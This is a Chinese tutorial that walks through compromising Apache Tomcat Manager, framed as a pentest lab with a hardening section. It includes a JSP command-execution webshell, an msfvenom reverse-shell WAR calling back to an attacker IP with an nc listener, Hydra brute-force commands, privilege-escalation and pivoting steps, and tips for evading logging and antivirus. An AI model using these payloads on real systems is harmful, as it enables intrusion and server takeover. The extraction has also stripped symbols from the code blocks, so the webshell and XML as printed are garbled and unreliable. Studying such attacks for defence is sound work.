Tomcat Manager漏洞实战:从弱口令爆破到Webshell上传的完整攻防解析

发布时间:2026/6/29 12:36:57
Tomcat Manager漏洞实战:从弱口令爆破到Webshell上传的完整攻防解析 1. 项目概述从一次真实的渗透测试说起前段时间我参与了一次针对某企业内网应用的安全评估。在信息收集阶段一个暴露在公网、端口为8080的Tomcat管理后台引起了我的注意。这几乎是每个安全工程师在渗透测试中都会遇到的“老朋友”。果不其然经过简单的弱口令爆破我成功进入了管理后台并利用其文件上传功能轻松部署了一个Webshell最终获取了服务器权限。整个过程看似简单但其背后暴露的安全问题却非常典型且致命。今天我就以这次实战经历为蓝本带大家完整复现“Tomcat后台管理漏洞”的利用链条深入剖析其原理并分享从攻击者与防御者双重视角下的思考与操作细节。无论你是刚入门的安全爱好者想理解漏洞原理还是运维、开发人员希望加固自己的Tomcat服务这篇文章都将提供一份详实的参考。这个漏洞组合的核心在于两点认证绕过弱口令和功能滥用不安全的上传。Tomcat Manager是Tomcat服务器自带的一个用于部署、启动、停止和卸载Web应用的管理界面。为了方便管理员它通常使用HTTP Basic认证或表单认证。如果管理员设置了诸如admin/admin、tomcat/tomcat这类简单密码或者甚至使用了默认口令那么攻击者就能轻易突破第一道防线。进入后台后其提供的WAR文件上传部署功能本意是方便管理员远程部署应用但在攻击者手中一个精心构造的、包含Webshell的WAR包就成了打开服务器大门的钥匙。接下来我们将一步步拆解这个过程的每一个环节。2. 环境搭建与目标定位2.1 实验环境准备为了安全、合法地复现漏洞我们必须在隔离的环境中进行。我推荐使用Docker来快速搭建一个包含漏洞的Tomcat环境这比在物理机或虚拟机上安装配置要高效、干净得多。首先我们需要一个带有弱口令的Tomcat镜像。这里我选择使用tutum/tomcat这个旧版本镜像它默认设置了tomcat:tomcat作为管理员凭据非常适合我们的实验。# 拉取漏洞环境镜像 docker pull tutum/tomcat:latest # 运行Tomcat容器将容器的8080端口映射到主机的8080端口 docker run -d -p 8080:8080 --name vuln-tomcat tutum/tomcat执行上述命令后访问http://你的主机IP:8080就能看到Tomcat的默认欢迎页面。访问http://你的主机IP:8080/manager/html则会弹出HTTP Basic认证对话框这正是Tomcat Manager的入口。注意务必确保你的实验环境与生产网络隔离。我通常会在个人电脑上使用虚拟机或者在云服务商处创建一台按量计费的临时ECS实例进行测试测试完毕后立即销毁避免留下安全隐患。2.2 信息收集与目标识别在实际渗透测试中我们不会预先知道目标是否存在Tomcat Manager。因此信息收集是关键的第一步。端口扫描使用nmap对目标IP段进行扫描寻找开放了8080、8009AJP、8005Shutdown等Tomcat常见端口的服务器。nmap -sS -p 8080,8009,8005 192.168.1.0/24服务指纹识别对开放8080端口的服务进行版本探测。nmap -sV -p 8080 192.168.1.100如果识别出Apache Tomcat服务就可以进行下一步。目录探测使用工具如gobuster、dirsearch或Burp Suite的Intruder模块对Tomcat的常见管理路径进行爆破。/manager/html /host-manager/html /manager/status /manager当访问/manager/html返回401状态码需要认证或302跳转到登录页时基本可以确定Tomcat Manager存在且可访问。3. 弱口令爆破实战与原理3.1 认证机制剖析Tomcat Manager的认证方式通常在conf/tomcat-users.xml文件中配置。常见的角色有manager-gui允许访问HTML图形界面 (/manager/html)。manager-script允许访问文本接口用于ANT脚本等。manager-jmx和manager-status用于JMX管理和状态查看。一个典型的弱口令配置如下role rolenamemanager-gui/ user usernametomcat passwordtomcat rolesmanager-gui/攻击者一旦获取了具有manager-gui或manager-script权限的凭据就获得了应用部署的控制权。3.2 自动化爆破工具使用手动尝试几个常见口令效率太低。我们需要借助自动化工具。这里我演示使用Hydra和Burp Suite Intruder两种方式。方法一使用Hydra进行爆破Hydra是一款强大的网络登录破解工具。针对HTTP Basic认证我们可以这样使用hydra -L user.txt -P pass.txt 192.168.1.100 http-get /manager/html-L user.txt指定用户名字典文件。-P pass.txt指定密码字典文件。http-get指定协议和方法。/manager/html目标路径。实操心得字典的质量决定爆破成功率。我会结合通用弱口令字典如rockyou.txt的变种、与目标相关的字典如公司名、产品名组合以及Tomcat默认口令字典进行组合爆破。对于表单认证返回302跳转需要调整Hydra的参数识别登录成功后的跳转或会话Cookie的变化这比Basic认证要复杂一些。方法二使用Burp Suite IntruderBurp Suite的Intruder模块更灵活适合处理复杂的认证流程。用浏览器代理到Burp访问/manager/html拦截到认证请求。将请求发送到Intruder模块。在Positions标签页清除所有变量然后选中认证头Authorization: Basic ...中的Base64编码部分点击“Add”设为攻击变量。(注此处为示意实际写作中可描述)在Payloads标签页选择Payload Type为Custom iterator。我们可以分别设置用户名和密码然后将其拼接成username:password的格式再进行Base64编码。设置第一个位置为用户名字典。设置第二个位置为固定分隔符:。设置第三个位置为密码字典。在Payload Processing中添加规则Add prefix为Basic然后添加Encode - Base64-encode。开始攻击通过响应状态码200为成功401为失败或响应长度来筛选结果。3.3 爆破过程中的注意事项与绕过速率限制与锁定一些运维良好的系统可能会设置登录失败锁定策略或验证码。这时需要降低爆破频率或寻找其他入口点如/manager/text接口可能没有图形界面的防护严格。日志与告警高频的认证失败尝试会被记录在Tomcat的localhost_access_log和系统日志中可能触发安全告警。在实战中我会使用代理池和低速率、长间隔的爆破策略来规避。默认口令清单除了tomcat:tomcat还有admin:admin、both:tomcat、role1:role1、root:root等常见组合务必纳入你的字典。4. 构造与上传Webshell的详细步骤成功进入Manager后台后界面会列出已部署的应用并提供一个“WAR file to deploy”的上传区域。我们的目标就是上传一个包含Webshell的WAR包。4.1 Webshell原理与WAR包结构Webshell本质上是一个可以执行服务器端命令的Web脚本。JSP Webshell是其中最常见的一种因为它能直接利用Tomcat的JSP编译和执行能力。一个最简单的JSP Webshell代码如下 (cmd.jsp)% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % form methodpost input typetext namecmd input typesubmit valueExecute /form这个JSP页面会接收一个cmd参数并在服务器上执行该命令将输出返回给浏览器。WAR包是什么WARWeb Application Archive是Java Web应用的标准打包格式本质上是一个ZIP压缩包具有特定的目录结构。mywebshell.war ├── META-INF/ │ └── MANIFEST.MF └── WEB-INF/ └── web.xml └── cmd.jsp (我们的Webshell放在根目录)WEB-INF/web.xml是部署描述符对于最简单的Webshell它可以非常基础甚至留空。4.2 手动制作WAR包理解了结构我们可以手动制作创建一个临时目录例如webshell。在webshell目录下创建WEB-INF目录和cmd.jsp文件。在WEB-INF目录下创建web.xml写入最小化内容?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 display-nameMyShell/display-name /web-app在webshell目录的上级目录使用jar命令打包jar -cvf myshell.war -C webshell/ .现在你就得到了一个可部署的myshell.war文件。4.3 使用工具自动化生成手动制作适合理解原理但效率低。安全研究人员开发了许多工具来快速生成功能强大的Webshell。MSFVenomMetasploit Framework的一部分是其中一个佼佼者。# 生成一个JSP格式的反弹Shell的WAR包 msfvenom -p java/jsp_shell_reverse_tcp LHOST你的攻击机IP LPORT4444 -f war -o reverse.war-p java/jsp_shell_reverse_tcp: 指定payload类型为JSP反向TCP连接。LHOST/LPORT: 指定攻击机的监听IP和端口。-f war: 指定输出格式为WAR。-o reverse.war: 指定输出文件名。这个reverse.war部署后一旦访问其入口页面就会向你的攻击机LHOST:LPORT发起一个TCP连接给你一个反向的Shell。重要警告msfvenom生成的payload容易被杀毒软件或主机安全软件标记。在实战中可能需要自定义编码、加密或使用内存执行等免杀技术来绕过防护。对于本次实验我们使用简单Webshell即可。4.4 执行上传与部署回到Tomcat Manager页面 (/manager/html)在“WAR file to deploy”部分点击“浏览”选择制作好的myshell.war或reverse.war然后点击“Deploy”按钮。如果成功在应用列表Applications中会立刻出现一个以你的WAR包名命名的路径如/myshell。此时你的Webshell就已经部署成功了。访问http://目标IP:8080/myshell/cmd.jsp你将看到那个简单的命令执行表单。输入whoami或id命令就能看到当前Tomcat进程的运行用户权限通常是权限较低的tomcat或www-data用户。如果上传的是reverse.war在部署前你需要在攻击机上用nc或msfconsole监听对应端口nc -lvnp 4444然后访问http://目标IP:8080/reverse/注意msfvenom生成的war其入口页面名称是随机的需要查看应用列表下的具体路径即可获得一个反向Shell。5. 漏洞深度利用与权限提升获得一个Webshell或反向Shell通常只是第一步尤其是当Tomcat以低权限用户运行时。我们需要进行权限提升和内网横向移动。5.1 信息收集Linux环境示例一旦有了Shell首先进行全面的信息收集# 查看当前用户和权限 id whoami sudo -l # 如果当前用户在sudoers列表中且无需密码则是重大发现 # 查看系统信息 uname -a cat /etc/os-release hostname # 查看网络信息 ifconfig 或 ip addr netstat -antup cat /etc/hosts # 查看进程和计划任务 ps aux crontab -l ls -la /etc/cron* # 查看敏感文件 find / -name *.properties -o -name *.xml -o -name *.conf 2/dev/null | head -20 cat /etc/passwd ls -la /home/这些信息能帮助你判断系统的安全状态、寻找配置文件中的数据库密码、发现其他服务等。5.2 权限提升尝试如果Tomcat以root运行极不推荐的生产环境配置那么你已经获得了最高权限。但通常它以非特权用户运行。以下是一些常见的提权方向利用SUID/GUID文件查找具有SUID权限的可执行文件看看是否有已知的本地提权漏洞可以利用如find,vim,bash,nmap等。find / -perm -us -type f 2/dev/null利用内核漏洞检查系统内核版本搜索对应的公开漏洞如DirtyCow, CVE-2021-4034等。可以使用如linux-exploit-suggester等脚本辅助判断。uname -r利用环境变量劫持如果发现可以通过sudo执行某些程序且$PATH环境变量不安全可能通过劫持$PATH来提权。查看敏感配置文件Tomcat的conf/tomcat-users.xml可能包含其他更高权限的用户密码。webapps目录下其他应用的配置文件如WEB-INF/classes/application.properties中可能含有数据库连接字符串数据库里可能存储着更有价值的信息。5.3 内网横向移动如果目标服务器处于内网它可能是一个跳板。端口扫描内网段将扫描工具如nmap的静态二进制文件上传到目标服务器对内网其他IP进行扫描。# 在攻击机生成nmap静态二进制并传到目标机 # 在目标机执行扫描 ./nmap -sS -p 22,80,443,8080,3306 192.168.10.0/24密码复用与哈希传递如果从配置文件或内存中获取到了明文密码或哈希可以尝试在其他服务SSH, SMB, RDP等上复用。搭建代理通道使用reGeorg,EarthWorm等工具通过Webshell在目标服务器上建立SOCKS代理使你的攻击机能够直接访问目标内网。6. 漏洞根源分析与加固方案从防御者视角看这个漏洞链的每一环都可以被加固。6.1 弱口令问题根治禁用或严格访问Manager应用最佳实践生产环境应绝对禁止将Tomcat Manager暴露在公网。通过防火墙或安全组策略仅允许管理IP如运维跳板机访问8080端口。如果确实需要远程管理考虑使用VPN接入内网后再访问。使用强密码并定期更换在conf/tomcat-users.xml中为管理用户设置高强度密码长度大于12位包含大小写字母、数字、特殊字符。避免使用tomcat,admin等默认或常见用户名。定期如每90天更换密码。修改Manager访问路径在conf/Catalina/localhost/目录下创建manager.xml通过path属性修改Manager应用的上下文路径。Context docBase/usr/local/tomcat/webapps/manager privilegedtrue antiResourceLockingfalse antiJARLockingfalse Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192\.168\.1\.\d|127\.0\.0\.1 / !-- 仅允许特定IP -- /Context这样访问路径就不再是默认的/manager增加了攻击者的猜测成本。6.2 文件上传漏洞防御** principle of least privilege**运行Tomcat的用户如tomcat应仅拥有必要的权限。将其家目录设置为不可登录/sbin/nologin并确保其对系统关键目录如/etc,/bin只有读权限。WAR包来源校验Manager应用本身不具备对上传的WAR包进行安全扫描的能力。因此必须建立严格的上传审批和扫描流程。任何要部署的WAR包都应先经过安全团队的静态代码扫描和动态沙箱检测。使用安全管理器Security Manager启用Java安全管理器可以限制JSP/Servlet的权限例如禁止执行系统命令、禁止文件读写等。虽然配置复杂但对于高安全要求环境是有效的。在catalina.sh启动脚本中添加-Djava.security.manager -Djava.security.policy/path/to/policy.file。部署Web应用防火墙WAF在Tomcat前端部署WAF可以识别和阻断针对/manager/html的暴力破解请求以及包含恶意命令执行特征的Webshell访问请求。6.3 纵深防御措施定期更新与漏洞扫描保持Tomcat版本为最新稳定版及时修复已知漏洞。定期对服务器进行漏洞扫描。完善的日志与监控启用并集中收集Tomcat的访问日志和错误日志。设置告警规则例如短时间内对/manager/html的大量401错误告警爆破行为、成功登录Manager后台的告警、部署新应用的告警等。容器化与微服务安全如果使用Docker或Kubernetes部署可以利用其安全特性如只读根文件系统、非root用户运行、使用Seccomp/AppArmor安全配置文件等即使Webshell被上传其破坏能力也受到极大限制。7. 常见问题与排查技巧实录在实际操作和教学过程中我遇到过不少问题这里总结一下问题1Docker环境启动后访问8080端口连接被拒绝。排查首先检查容器状态docker ps -a看容器是否在运行Up状态。如果已退出查看日志docker logs vuln-tomcat。常见原因是端口冲突主机8080端口已被占用。解决停止占用端口的服务或修改映射端口-p 8888:8080。问题2使用Hydra爆破时总是失败但手动测试密码是对的。排查可能是认证方式不是Basic Auth而是表单认证。用Burp抓包看登录请求的格式。表单认证的请求体通常是usernamexxxpasswordxxx并且成功后可能会设置一个JSESSIONID的Cookie。解决调整Hydra命令使用http-post-form模块并正确指定登录失败时的响应特征。hydra -L users.txt -P pass.txt 192.168.1.100 http-post-form /manager/html:j_username^USER^j_password^PASS^:Invalid credentials问题3上传WAR包时提示“FAIL - 应用上下文[/xxx]已存在”或“FAIL - 上传文件为空”。排查前者说明同名应用已部署需要先在Manager界面“Undeploy”卸载旧应用。后者可能是文件上传大小限制或网络问题。解决检查Tomcat的conf/web.xml中multipart-config的设置或调整maxPostSize参数。确保WAR文件有效可以用jar -tf your.war命令检查内容。问题4Webshell上传成功但访问时返回404或500错误。排查404路径错误。确认WAR包部署后的上下文路径Context Path访问的URL应为http://ip:port/上下文路径/你的jsp文件名。msfvenom生成的war其入口文件名是随机的需要查看Tomcat的webapps/你的应用名/目录下具体有哪些文件。500JSP执行错误。查看Tomcat的logs/catalina.out或logs/localhost.yyyy-MM-dd.log日志文件里面会有具体的Java异常堆栈信息。常见原因包括Java版本不兼容、缺少依赖类、代码语法错误、安全管理器拦截等。解决根据日志修正Webshell代码或环境配置。对于简单的命令执行确保Runtime.exec()可用。问题5获得的反向Shell不稳定容易断开。排查网络波动、防火墙中断、Shell本身特性如交互性差都可能导致断开。解决使用更稳定的pty分配方式。在nc监听端尝试使用rlwrap增强体验rlwrap nc -lvnp 4444。在获得初始Shell后立即升级为全交互式TTY。常用方法# 在获得的Shell中执行 python -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash使用MSF的exploit/multi/handler模块来接收反弹Shell它提供了更稳定和功能丰富的会话管理。这个漏洞链的复现过程清晰地展示了一个从外部入口到获取服务器权限的完整攻击路径。它之所以经典是因为其利用条件简单、步骤清晰且防御措施明确。对于安全人员理解它是入门必修课对于开发和运维人员则是一记响亮的警钟提醒我们安全无小事任何一个环节的疏忽都可能成为整个系统沦陷的起点。加固工作必须贯穿于系统设计、部署、运维的整个生命周期。